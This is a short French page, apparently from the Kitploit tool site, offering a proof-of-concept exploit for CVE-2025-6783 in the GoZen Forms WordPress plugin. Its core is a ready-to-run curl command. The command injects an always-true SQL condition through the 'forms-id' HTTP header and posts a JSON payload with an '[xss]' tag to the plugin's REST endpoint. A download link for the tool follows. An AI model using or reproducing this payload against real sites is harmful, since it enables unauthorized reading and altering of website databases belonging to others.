CVE-2025-6783 — Preuve de concept d'exploit pour CVE-2025-6783 démontrant une injection SQL via des en-têtes HTTP et une charge utile JSON contre le endpoint API REST WordPress GoZen Forms. | Kitploit

Injectez une condition toujours vraie dans la clause WHERE afin que chaque ligne corresponde :

curl -i -X POST \
  -H "Content-Type: application/json" \
  -H "forms-id: poc-001' OR '1'='1' -- " \
  -H "domain-id: example.com" \
  -d '{
        "emabed_type":"iframe",
        "shortcode_title":"INJECTED",
        "shortcode_tag":"[xss]",
        "active":0
      }' \
  "http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"

Télécharger l’outil

CVE-2025-6783

Populaires